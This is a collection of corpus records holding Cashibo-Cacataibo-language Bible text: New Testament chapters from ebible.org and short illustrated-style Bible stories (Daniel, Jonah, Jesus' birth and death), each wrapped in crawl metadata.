unicaman nëtë́timoquin nëtë́nbi imë́bi paë tanti 'icën. 12 Usa 'ain ca Nucën Papa Diosan unicama, an aín bana quicësabi oquin 'anan Jesúsmi catamëcë, acaman uisai cara ñu 'icëbë tëmëraquinbi asérabi ami sinánti ëntima 'icën.\n13 Usai ángel banaia cuatancëxun cana naínuaxa ësaquin 'ë cai banaia cuan:\n—Ënë bana ca cuënëot: Ax Nucën 'Ibu Jesucristomi catamëcë unicamax ca bamatancëx chuámarua tani cuëënti 'icën. Naínuaxa banai quicësaribi oi ca Nucën Papa Diosan Bëru Ñunshin Upí ësai quia: Usa unicaman ca bamatancëxun tëmëratëcënquin paë tantëcëntima 'icën. Añu ñucama cara Jesucristonan 'ixun a 'axuanxa, acama ca Nucën Papa Diosan manuquinma sinania. Usa 'ain ca a unicama chuámarua tani cuëënti 'icën.\nUva bimi bicësaribi oquin uni biti bana\n14 Usaquin istancëxun istëcënquin cana nëtë cuin uxuanua unisa 'aish tsócë isan. Aín maxcánu curi 'acë mañuti 'imainun ca aín mëcënan machítusa 'aíshbi tëntúñu manë cuënucë tuíncë 'iaxa. 15 Usai 'imainun ca anuxun Nucën Papa Dios rabiti xubu anuax bëtsi ángel chiquíaxa. Chiquiti munuma banaquin ca axa nëtë cuínu tsócë a caxa:\n—Bimicama ca pëcëti sënë́anxa, anun a biti nëtë ca uaxa. Min manë cuënucë, anun camina bimicama biti 'ain, bixun camina timëti 'ain.\nUsai bimi biti ñui quíbi ca ángel, uni biti ñui quiaxa. 16 Quicëbëtainshi ca axa nëtë cuínu tsócë an, unían manën tëaquin bimi upíbu bicësaribi oquin, camabi uni upíbu biaxa.\n17 Usoquian axa nëtë cuínu tsócë uni an upí unibu bicëbë ca bëtsi ángel naínu 'icë anuxun Nucën Papa Dios rabiti xubunuax chiquíaxa. Chiquíquiani ca anribi machítusa 'aíshbi tëntúñu manë cuënucë buánxa. 18 Buania chiquícëbë ca ángel itsi, an ñu tsi nëënmianan tsi bënánti cushiñu, ax anuxun sanutanun tsëpasa ñu nëënti anuan chiquíaxa. Chiquítancëxun ca munuma banaquin axa manë cuënucëñu ángel caxa:\n—Uvas bimicama ca pëcëti sënë́anxa. Usa 'ain camina min manë cuënucë, anun tëaquin uvas bimicama biti 'ain, bixun camina timëti 'ain.\n19 Quicëbëtan ca ángelcaman aín manë cuënucë, anun tëaquin biquin timëtancëxun, anuxun chinínti anu buánxun bucúanxa. Usoquin 'acë, ax ca an aín bana cuaisama tanquin Nucën Papa Dios nishmia unicama a ñui quicë 'icën. Ax ca uisaira oquinshi cara Nucën Papa Diosan a unicama castícanti 'icë qui quicë 'icën. 20 Usoquian anuxun uvas bimi chinínti anu bucunia cana isan. Iscëx ca ëmanuax anuxuan chiníncancëx 'aisamaira imi ëbánquianxa. A imi ëbanquianxa racácë, aín nëmin ca caballo nicë aín cuëbí sënën 'iaxa. Usa 'aish ca a imia me mapubiani ëbánquiancë, ax trescientos kilómetros sënën 'iaxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV14.htm","date":"2022-05-28T01:30:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663011588.83\/warc\/CC-MAIN-20220528000300-20220528030300-00009.warc.gz","language":"cbr","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000056028366089}","num_words":869,"character_repetition_ratio":0.077,"word_repetition_ratio":0.014,"special_characters_ratio":0.21,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"8\nUnin 'acë ñu rabiquin ñuina 'acë piti ñuiquian Pablonën ca bana\n1 Unían unínbi 'acë ñu rabiquin 'aracacë ñuina 'acë a namix cara piisa 'icë quixunmi 'ë ñucácë bana, a ñuiquin cana ësaquin mitsu cain. 'Ën 'unáncësaribi oquin camina mitsun asérabi 'unan, Nucën Papa Diosëshi dios 'ain ca unin 'acë ñu rabiquin ñuina rëcë a nami ax bëtsi namisaribi 'aish piti 'icën. Usaquin sinani ca uni raíri ainra isa ñu 'unánxa quixun sinani, a nami pi, bëtsibë cëruanánia. Usa 'aínbi ca raírinëx, a namix ca bëtsi namisaribi 'aish piti 'icë quixun 'unánxunbi an picëma unicama nuibaquin 'uchamisama tanquin piima, Jesucristonën sinánsaribi 'ixun. 2 An —'ën cana ñu 'unan —quixun sináncë uni an ñu 'unánxunbi ca asérabi uisai 'iti cara quixun upí oquin 'unánima. 3 Usa 'aínbi ca axa asérabi ami sináncë uni a Nucën Papa Diosan ainan 'icë 'unania.\n4 Unínbi 'acë ñu rabiquin ñuina rëcë aín nami piti cara asábi 'icë quixunmi 'ë ñucácë bana a ñuiquin cana ësaquin mitsu cain. Cananuna 'unan, unin 'acë ñu ax ca ñuishi uniocë 'aish asérabi diosma 'icën. Nucën Papa Dios ax ca achúshi 'icën, bëtsi dios ca 'aíma 'icën. 5 Raíri unin ca sinania, 'aisamaira ca dios 'icë quixun. Usa 'aish ca naínu 'icë 'imainun menu 'icëribi 'icën. Ax ca dios 'icë quianan ax ca nun 'ibu 'icë quiax quia. 6 Usaquian sináncëbëtanbi cananuna nun 'unanin, achúshi ca Nucën Papa Dios 'icën. An ca camabi ñu uniocëxa. Ainan 'inun ca nuribi uniocëxa. 'Imainun ca Nucën 'Ibu achúshi, Jesucristo, ashi 'icën. An ca aín Papabëtan camabi ñu unionan nuribi uniocëxa.\n7 Usa 'aínbi ca axa Jesúsmi catamëcë uni raírinën —unían rabinuxun 'acë ñu ax ca ñuishi 'aish anu nun rabiti dios, ama 'icë —quixun upí oquin 'unaníma. 'Unánquinma ca usabi oquin unin 'acë ñu rabicë 'ixun, Jesucristomi catamëquinbi a ñu rabiquin ñuina rëxun aín nami piia. Piquinbi ca —unían a ñu rabiquin rëcë ñuina nami pi sapi cana 'ucha —quixun sinania. 8 Nucën Papa Diosan iscëx ca an ñu picëma uni 'icësaribi an ñu picë uni 'icën. Usa 'ain cananuna nun ñu picë cupí 'ianan nun ñu picëma cupí Nucën Papa Diosan iscëx upí 'ima. 9 'Aisa tanquin camina uni itsin usa ñu rabiquin ñuina 'acë aín nami piti 'ain. Usa 'aínbi camina an upí oquin —a ñux ca unin 'acë 'aish ñuishi 'icë —quixun 'unáncëma uni a 'uchamiti rabanan sinánti 'ain, —cana pitima 'ai —quixun. 10 Ënëx ca ësa 'icën. Min a rabinuxun unin uniocë ñu a rabiquinma camina —a rabiquian unin rëcë ñuina nami a piibi cana Nucën Papa Diosmi 'uchaima —quixun sinánquin, anuxun a ñu rabiti xubunuxun a nami piti 'ain. Usa 'aínbi ca minmi a nami piia iscë cupí an —unin uniocë ñux ca ñuishi 'icë —quixun upí oquin 'unáncëma uni, an a ñu rabiquin a nami piti 'icën. 11 Min a nami piquin camina, minun rabanan 'icësaribitia anun rabananribi Cristo bama uni, a 'uchamin. 12 Usaquin piquin camina axa mibë Jesúsmi sináncë uni, an —unin uniocë ñu ax unínbi 'acë 'aish cushiñuma 'ain ca a rabiquin unin 'acë ñuina namix bëtsi namisaribi 'icë —quixun 'unáncëma 'ixunbi anribi pinun sinánmin. Sinánmi ami 'uchai camina Cristomiribi 'uchain. 13 Usaquin 'ën a nami piquin axa Jesúsmi sináncë uni itsi 'uchamiti rabanan cana xënibua 'aínbi unin 'acë ñu rabiquin pitia 'acë ñu a pitima 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO08.htm","date":"2022-05-29T04:48:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663039492.94\/warc\/CC-MAIN-20220529041832-20220529071832-00680.warc.gz","language":"cbr","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000088214874268}","num_words":530,"character_repetition_ratio":0.087,"word_repetition_ratio":0.008,"special_characters_ratio":0.232,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"7\nJesús ax ca Melquisedec 'iásaribiti an aín unicama Nucën Papa Dios ñucáxuncë 'icë quicë bana\n1 Mitsux Abrahamnën rëbúnqui 'ixun camina 'unanin, Melquisedec ax ca Salem cacë menu 'icë unicaman 'apu 'iacëxa. Ax ca sacerdote, an unicama Nucën Papa Dios manámi 'icë a ñucáxuncë 'iacëxa. Usa 'ain ca bëtsi menu 'icë 'apucaman Abrahamnën xucënan bëchicë Lot cacë, aín nëtënu 'icë unicamabë 'acánanquin ñusmotancëxun aín ñucamacëñunbi 'itsa uni 'imainun xanu 'imainun tuáribi buáncëxa. Usoquin 'acë cuabiani aín unicama buani cuanxun ca Abrahamnënribi a suntárucama ñusmoxun abámianan anu 'icë 'apucaman buáncë unicamacëñun camabi ñu bitëcëancëxa. Bibiani cuantëcëni ca Abraham Melquisedecbë mëranancëxa. Abë mërananquin ca Melquisedecnën, Nucën Papa Diosan ca Abraham 'aquianxa quixun 'unanquin —an ca mi upí oquin sinánxunia —quixun caquin, a Nucën Papa Dios ñucáxuancëxa. 2 Usaquin cacëxun ca Abrahamnën an bëcë ñucama mësú Melquisedec 'ináncëxa. Melquisedec quicë bana ax ca \"upí 'apu ca ax 'icë\" qui quicë bana 'icën. Melquisedec ax ca Salem cacë menu 'icë unibu aín 'apu 'iacëxa. Salem quicë bana ax ca \"bëtsi unibubë 'acananima ca chuámarua bucuia\" qui quicë bana 'icën. Usa 'ain ca Melquisedec 'acánanti sináncëma 'apu 'iacëxa. 3 Melquisedec a ca uix cara aín papa 'iacëxa, uix cara aín tita 'iacëxa, añu nëtën cara bacë́ancëxa, añu nëtën cara bamacëxa, uicamax cara aín rara 'iacëxa, abi unin 'unánma 'icën. Usa 'ain ca judíos unibunëx —Melquisedec ax ca bamama 'icë —quia. Nucën Papa Diosan Bëchicënëx ca nëtë́timoi xënibua 'aínbi sacerdote, an unicama Nucën Papa Dios ñucáxuncë 'icën, uni Melquisedec ñui quiásaribiti.\n4 Abraham a pain nucën rara, anbi ca abëa 'acánancë unicama ñusmoxuan bicë ñu mësú ax 'apu 'icë, Melquisedec, 'ináncëxa. Usa 'ain cananuna 'unanin, Abraham ax ca Melquisedec meu 'iacëxa quixun. 5 Moisés cuënëomiquin ca Nucën Papa Diosan —ësai ca 'iti 'icë —quixun caquin ësaquin cacëxa:\n—Abrahamnën rëbúnqui achúshi, Leví cacë, aín rëbúnquicamaxa sacerdote 'icë ca Abrahamnën rëbúnquicama raírinën aín ñucama mësú 'inánti 'icë —quixun. A uni camáxbi Abrahamnën rëbúnqui 'aish aín aintsi 'ixunbi sacerdotecama usaquin aín ñu 'inánun ca Nucën Papa Diosan mëníocëxa. 6 Usa 'aínbi ca Melquisedec, Levitan rëbúnqui 'ixunmabi, Abrahamnën aín ñucama mësú 'ináncëxun biacëxa. Nucën Papa Diosan upí oquin sinánxuncë, Abraham, a ca Melquisedecnën aín ñu biquin —an cacësabi oquin usoquin ca Nucën Papa Diosan mi 'axunti 'icë —quixun caquin Nucën Papa Dios ñucáxuancëxa. 7 Uni itsían Nucën Papa Dios ñucáxuncë uni ax ca an Nucën Papa Dios ñucáxuncë uni meu 'icën. Uinu 'icë unínbi ca —usama ca —quixun caima. Usa 'ain ca Abraham Melquisedec meu 'iacëxa. 8 Levitan rëbúnqui, judíos sacerdotecama, a judíos unicama raírinën aín ñu mësú 'ináncë, acamax ca uni 'aish bamaia. Usa 'aínbi ca Abrahamnën aín ñu mësú Melquisedec, a ñuia uni —ax ca bamama 'icë —quicë, a 'ináncëxa. 9 Usa 'ain ca ësoquinribi sinánti asábi 'icën: Levitan chaitiocë Abraham, an ca Melquisedec aín ñu mësú 'ináncëxa, ax a meu 'ixun. Usa 'ain ca Levitan rëbúnqui, sacerdotecama, a judíos unicaman bërí aín ñu mësú 'ináncë, acamaxribi Abrahambëtan aín ñu mësú Melquisedec 'inánsa 'icën. 10 Levitan rëbúnquicama 'aíma pain 'aíshbi ca Abrahambë 'icësa 'iacëxa, aín rëbúnqui 'aish. Usa 'ain cananuna 'unanin, Melquisedec, ax ca Levitan rëbúnqui, sacerdotecama, acamabë sënë́nmaira cushi 'iacëxa quixun.\n11 Bëráma ca Nucën Papa Diosan 'amicëxun Moisésnën, uisai cara judíos unicama 'iti 'icë quicë bana cuënëocëxa. A bana Levitan rëbúnquicama, sacerdotecama 'ixun, judíos unicama 'unánminun ca Nucën Papa Diosan mëníocëxa. Usa 'ixuan Levitan rëbúnquinën 'aquincëx judíos unicama asérabi aín nuitu upí 'aish Nucën Papa Dios quicësabi oi 'icëbë ca sacerdote itsi Aarón 'iásama, Melquisedec 'iásaribi, Jesús uáma 'itsíanxa. 12 Usa 'ain ca usaquin judíos unicaman 'ati bana, Levitan rëbúnquicama sacerdote 'ixun judíos unicama 'unánmicë, a 'unanibi aín sinan upíma 'ain, a ënquin bëtsi bana Jesús ñui quicë unin cuanun Nucën Papa Diosan mëníocëxa. 13 Nucën 'Ibu Jesús a ñui Nucën Papa Diosan bana cuënëo quicë, ax ca judíos uni 'aíshbi Levitan rëbúnquima Judanën rëbúnqui 'iacëxa. Judanën rëbúnquinëx ca judíos sacerdote 'iti 'icë quiax ca Moisésnën cuënëo bana quiáma 'icën. 14 Camabi unin ca 'unania, Nucën 'Ibu Jesús ax ca Judanën rëbúnqui 'iacëxa quixun. Usa 'aínbi ca Moisés sacerdote ñui, Judanën rëbúnquinëx ca sacerdote 'iti 'icë quiax quiáma 'icën. Levitan rëbúnquishi ca usai 'iti 'iacëxa.\n15 Usa 'ain cananuna upí oquin 'unanin, Nucën Papa Diosan ca Melquisedec 'iásaribitia sacerdote 'inun Jesúsëshi, 16 ax bamaxbi bamatëcëntimoi baísquicë 'icë, a sacerdote 'imiacëxa, Moisésnën cuënëo bana, Judanën rëbúnqui ca sacerdote 'iti 'icë quicë 'aímabi. 17 A ñuiquin ca Nucën Papa Diosan ësaquin cacëxa:\nMix camina nëtë́timoi usabi sacerdote, an 'ën unicama 'ë ñucáxunti, a 'ain, Melquisedec 'iásaribi.\n18-19 Usai ca judíos unicama 'iti 'icë quicë bana upí 'aínbi ca anun unin sinan upí 'iáma 'icën. Usa 'aínbi cananuna bëtsi bana, Jesús ñui quicë, a cupí asérabi nun 'uchacama tërë́ncë 'ianan nun sinan upí 'aish Nucën Papa Diosnan 'ain.\n20 Aín Bëchicë an aín unicama a ñucáxunti oquin ca Nucën Papa Diosan sinanatëcëntimoquin mëníocëxa. 21 Levitan rëbúnquinën ca 'ën unicama ë ñucáxunti 'icë quixun ca Nucën Papa Diosan sinanatëcëntimoquin cáma 'icën. Usa 'ixúnbi ca an sinanatëcëntimoquin caquin, Jesús asérabi an unicama a ñucáxunti 'imiacëxa, aín bana cuënëo ësai quicësabi oquin:\nNucën 'Ibu Diosan ca sinanatëcëntimoquin aín Bëchicë ësaquin cacëxa: Mix camina nëtë́timoi usabi sacerdote, an 'ën unicama 'ë ñucáxunti, a 'ain, Melquisedec 'iásaribi, quixun.\n22 Usa 'ain ca an Moisésnën cuënëo bana cuacë uni 'iásamaira oi an Jesús ñuicë bana cuacë uni Nucën Papa Diosan iscëx upí 'ia. 23 Levitan rëbúnqui sacerdotecama ca ax pain 'itancëxa bëtsix bamacëbë bamacëbë sacerdote 'icë 'aish 'itsaira 'iacëxa. 24 Usa 'aínbi ca ax bamatimoi tsócë 'aish usabi sacerdote 'ixun Jesusan cuni aín unicama Nucën Papa Dios ñucáxunia. 25 Ui unicaman cara a cupí abë upí 'iisa tanquin Nucën Papa Dios ñucatia, a ca Jesusan xënibua 'aínbi Nucën Papa Diosnan 'inun ië́mia. A unicama Nucën Papa Dios ñucáxunux ca bamatimoi tsotia.\n26 Usa 'aían Jesús axira nun sacerdote 'iti ca upíira 'icën. Nucën Papa Diosan iscëx upíira 'ixun ñu 'atima 'acëma 'ianan ñu 'atima 'ati sináncëma 'ianan ax upíira sinánñu 'aish ca aín Papabë 'Apuira 'icën. 27 Ax ca Levitan rëbúnqui 'icësai 'iáma 'icën. Atun ca camabi nëtën aín 'ucha pain tërë́anan judíos unicaman 'uchacamaribi tërë́nun Nucën Papa Dios ñucáxunia, ñuina rëtancëxun xaroquin. Usama ca Jesús 'icën. Axbi ca camabi unin 'ucha cupí ñuina rëxun xarocësa 'itánun bamatsianxmabi achúshitishi bamacëxa. 28 Usa 'ain ca Moisésnën cuënëo bana quicësabi oi Levitan rëbúnqui, 'uchañu 'aíshbi an judíos unicama Nucën Papa Dios ñucáxunti 'ia. Usa 'aínbi ca an Moisés 'inan bana xënibucëbëtan, Nucën Papa Diosan sinanatëcëntimoquin caquin, aín Bëchicë Jesús, axa asérabi 'uchañuma 'iá 'aish usabi 'uchañuma 'ia, an aín unicama a ñucáxunun 'imiacëxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/HEB07.htm","date":"2022-05-20T07:30:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662531762.30\/warc\/CC-MAIN-20220520061824-20220520091824-00431.warc.gz","language":"cbr","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.000004768371582}","num_words":1049,"character_repetition_ratio":0.133,"word_repetition_ratio":0.013,"special_characters_ratio":0.21,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/cbr_Latn/fineweb-2_000001_stas.jsonl b/cbr_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..9d6ddbfcf3cefda63c8ca44d7403bf9e688bd095 --- /dev/null +++ b/cbr_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 781.483870967742, + "character_repetition_ratio": 0.08964516129032256, + "word_repetition_ratio": 0.0016451612903225809, + "special_characters_ratio": 0.2140322580645161, + "stopwords_ratio": 0.32543010752688173, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9998924731182797, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 323.40296156081484, + "character_repetition_ratio": 0.016838029896054856, + "word_repetition_ratio": 0.00491354319146739, + "special_characters_ratio": 0.007394347758397113, + "stopwords_ratio": 0.04982256643123565, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.001031361617916715, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 706.0, + "character_repetition_ratio": 0.088, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.213, + "stopwords_ratio": 0.325, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 2204.0, + "character_repetition_ratio": 0.143, + "word_repetition_ratio": 0.028, + "special_characters_ratio": 0.237, + "stopwords_ratio": 0.414, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 51.0, + "character_repetition_ratio": 0.05, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.194, + "stopwords_ratio": 0.108, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.99, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1170.2, + "character_repetition_ratio": 0.10659999999999999, + "word_repetition_ratio": 0.003, + "special_characters_ratio": 0.222, + "stopwords_ratio": 0.3836, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 942.0, + "character_repetition_ratio": 0.1, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.219, + "stopwords_ratio": 0.359, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 706.0, + "character_repetition_ratio": 0.088, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.213, + "stopwords_ratio": 0.325, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 582.0, + "character_repetition_ratio": 0.08, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.21, + "stopwords_ratio": 0.3, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "93", + "keep size": "81", + "remove size": "12" + } +] \ No newline at end of file diff --git a/cbr_Latn/mala_000002_keep.jsonl b/cbr_Latn/mala_000002_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..4c979e4d75574daa4792956752fb5b0941cac7bd --- /dev/null +++ b/cbr_Latn/mala_000002_keep.jsonl @@ -0,0 +1,9 @@ +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Daniel ka León kama kënënu ‘ia këxa - Copy Achushi axka ia këxa Daniel . ‘An ‘apu rairi kama ñu mëia bëruonti.\nUsa okin Danielnën ‘apu ixun ñu upiokin aia iskinka bëtsi ‘apu rairi kama Danielnën upioki ñu ana mëëia ‘isi ka ‘apu rai kamax atima ki sinani Daniel kara uisa kin uchoti ikë kixun baria këxa\n‘Apu rairinën ka Rey Dario ka këxa, min kamina achushi bana kushi nanti ‘aín.\nUibi ka bëtsi dios rabianan bëtsi uniribi ñukakima mishi ñukakin rabiti ‘ikën.\nUsa 'ain ka Rey Darionën bana cushi nankëxa uishi a bana kuaitima ni tërën tima okin:\n- Uinu ikë unin kara bëtsi dios rabia axka león anu bukukë nu nikë iti ikën\nAx anu ikë xubu xëputi Jesuralenbu ikë a xëokai ranti puruni, tsobukin ka ñukanan Dios rabiakëxa. Ënëka rabë imainun achushi okin kamabi nëtën akëxa, usa aika unikama an atsinkin aín Dios rabia mërakëxa.\nAxa Danielmi nishkë uni kamax ka rikianxu Rey Dario ka këxa.\nDanielnën ka min bana tanan kuaisama tania kixun ‘apu kakëxa.\nUsa kin kakëxun kuati ka Rey itsaira nitëxëakëxa.\nUisokin karana Daniel aquinti ai kixun sinankëxa. Aibika ënë unikaman kuantëkexun amiribishi Rey kakëxa minkaina unan Medo imainu Persa kikësabi okin akëñuka uinbi tërëkatima ikën.\nUsa ain ka Rey kakëxa bëtankëxun kamina Daniel leonën kënënu niti ‘ain. Kakëxun ka Reynën kakësabi okin bëxun kënënu nipakëxa. Nipaxun xëpuakëxa maxaxan.\nA ñantan ka Danielmi Sinaírai ‘apu uxama ikën.\nPëkarakëma ainshi ka kënënu kuanxun kakëxa:\n- Daniel, ¿Min Diosan kara mi iëmiax?\nDanielnën ka kakëxa:\n-Diosan ka ‘ain Angelkama xuaxa leónën kuëbia tuinun.\n¡Ë ‘aisama oxuma anun!\nRey ka Daniel leonën kënënua biakëxa. 'Ax Danielmi manankë , 'ain cushi kama ka leónën kama xoñuma rakankin piakëxa.\nDarionën ka achushi bana kamabi mënu ikën unikama inshaxuankëxa:\n- Kamabi menuxun ka Danielnën Dios an uni akianan iëmikë a rabiti ikën.","num_words":296,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"JONÁS IA ÑUIKË WANA Jonás ka Nínive nu ikë unikama unami kuainsama tankëxä.\nAnu ikë unikamawë niñanankë kupi.\nNínive ëmanu kuanima ka ëma isinu awakëxä.\nAnu 'ikë manë nunti kuankëwë ka parunpapa suñuan ikëwë chaira waka wëchuankëxä.\nUsai ikëwëka unpax wuchui nanëtisa tankëxä.\nNanëtisatankëwë ratukin ka anu 'ikë unikama ‘ain dioskama rawiakëxä.\nKana wakami ki kixün sinankin ka aín ñu puakëxä nanëtima kupin.\nUsa 'aiwi ka kuín ira suñuan 'iakëxä. Jonasnën ka anu 'ikë a unikama kakëxä.\n'Ën 'ucha kupi ka 'ia, a kupin kaina 'ë wakami niti 'ain suñuan nëtëtanu.\nUsakin 'aisama tankiwi ka ain unikaman Jonás wakanu niakëxä. Nikëwë ka suñuan nëtëakëxä.\n\nUsai 'ikëwë ratukin ka ain unikama Dios rawiakëxä rawikin ñu nënxuankëxä.\n 'Aiwi ka Diosan sasa chaira an Jonas ëti xuakëxä.\nJonás ka wakamikiama 'ikën. Diosan sinankë ka ñuinaka 'ëakëxä. Ëxün ka rawë 'imainun achui nëtën masinu kinankëxä.\nDiosan ka Jonás amiri kakëxä. Nínive ëmanu kamina kuanti 'ain. Kakën ka Jonás kuankëxä a ëmanu nukuxün ka wana ñuixüankëxä.\nDios ka kiaxä 40 nëtë 'ikëwë ka ënë ëmanu 'ikë unikama këñuti 'ikën kiakëxa. Kikëwëtan ka anu 'ikë unikama 'imainun anu 'ikë aín 'apukamari ami rakuëkin Dios rawiakëxa.\nËnën ka Jonás usai 'ia wana 'ikën.","num_words":195,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"JONÁS IA ÑUIKË BANA Jonás ka Nínive nu 'ikë unikama 'unámi kuainsama tankëxa.\nAnu'ikë unikamabë nishanankë kupi.\nNínive ëmanu kuanima ka ëma itsinu abakëxa.\nAnu 'ikë manë nunti kuankëbë ka parumpapa suñuan 'ikëbë chaira baka bëchuankëxa. Usai 'ikëbëka umpax buchunkin nanëtisa tankëxa.\nNanëtisatani ratukin ka anu 'ikë unikama 'ain dioskama rabiakëxa.\nKana bakamiki kixun sinankni aín ñu puakëxa nanëtima kupin.\nUsa 'aibi ka kushira suñuan ‘iakëxa. Jonasnën ka anu 'ikë aín unikama kakëxa.\nËn 'ucha kupin ka ‘ia, a kupin kamina ë bakami niti ‘ain suñuan nëtëtanu.\nUsakin 'aisama tankibi ka aín unikama Jonás bakanu niakëxa. Nikëbë ka suñuan nëtëakëxa.\nUsai 'ikëbë ratukin ka 'ain unikama Dios rabiakëxa rabikin ñu nënxuankëxa.\n 'Aibi ka Diosan tsatsa chaira an Jonas éti xuakëxa.\nJonás ka bakamikiama 'ikën. Diosan sinanën ka ñuinakan 'eakëxa. Exun ka rabë ‘imainun achúshi nëtën masinu kinankëxa.\nDiosan ka Jonás amiribishi kakëxa. Nínive ëmanu kamina kuanti 'ain. Kakëx ka Jonás kuankëxa a ëmanu nukuxun ka bana ñuixuankëxa.\nDios ka kiaxa 40 nëtë 'ikëbë ka ënë ëmanu 'ikë unikama këñuti 'ikën kiakëxa. Kikëbëtan ka anu 'ikë unikama ‘imainun anu 'ikë aín ‘apukamaribi ami rakuëkin Dios rabiakëxa.\nËnëx ka Jonás usai 'ia bana 'ikën","num_words":191,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Jesús wakëan ñuikë wana Josenën ka ënti sinankëxä ainwi ka ángel achuinën namamikin kakëxä: “Jose Davidtan rëwunki , María witimi rakuëama ka ik, ‘ain tua ñuisikë a ka Diosan wëru ñuin nan imikë ikën.\nWakënia kamina min a tuá Jesús kakin anëti ‘ain, ai anë ka uni ‘ain ‘ucha tërënkin iëmiti ikën.”\n\nNamati wësükin ka Josénën ángelnën kakësawiokin María wiakëxä. ‘Ainwi ka awë iama ikën ‘ain tua wakënti itamainun.\nAín uxë inukëwë ka Jesús Belénua wakëankëxä. Usa ikë mëkën achui imainun rawë nëtë ianan achui ‘ain ka Jesús kakin anëakëxä, ángelnën kakësawiokin.\n41 nëte inukëwëtan ka Jesús Jerusalénu wankëxä anuxün Dios rawitinu. Anua Dioswë wanati xüwunu wëwakin ka anua achui uni Simeón ka kë ‘a mërakëxä.\nA unin ka Jesús ikukin ‘ain pëñanu wikin, Dios rawi kiakëxä: Wëri kana asawi wamati ‘ain an uni iëmiti a kana ën wërunwi isa, kamawi mënu ikën unikamariwi ësti ikën. An ka kamawi mënu ikë uni pëkati ikën ”.\nJesusan papa imainun ‘ain tita ka ësai ënë uni kia kuati ratuakëxä. Ënë unin ka atuariwi upiokin sinanxüankëxä ësokin kamawi atankë ka ‘ain mënuwi kuantëkëankëxä.\nJesús ka xü ai kuin inun kaniakëxä. Usa ‘ain sinañuira inun kania Diosan upiokin sinanxünkë iakëxä.\n\nËnën ka Jesús wakëan ñuikë wana ikën.\nJesús wakëan ñuikë wana","num_words":204,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":0.938,"perplexity_score":500.0,"cluster_detection":1} +{"url":"","collection":"silbloomlm","source":"BLOOM Library","original_code":"cbr","text":"Bamatankëx Jesús baiskia Uanxun ka Jesús aín ‘apukamanu nukuakëxa usa ‘ain ka kiakëxa ka bamati ikën. Ka tushukakëxa, ka mëakëxa, ami ka kuaiakëxa ‘imainun ka nëabianki anuxua ‘ai ‘apu rishkimitankëxu i kurusokënu matasti anu ubankëxa.\nSuntarukaman ka Jesús muxa mañuti ‘akë mañumiakëxa, usa ‘ain ka bari urukëbëtan i kurusokënu matasakëxa. Curuznu ‘ain ka unikama amikuai ka ami nishakëxa. \n\nBari maní këbë ka me shaiki bëankiakëxa ñantabutamainun. Usai 'ikëbë ka 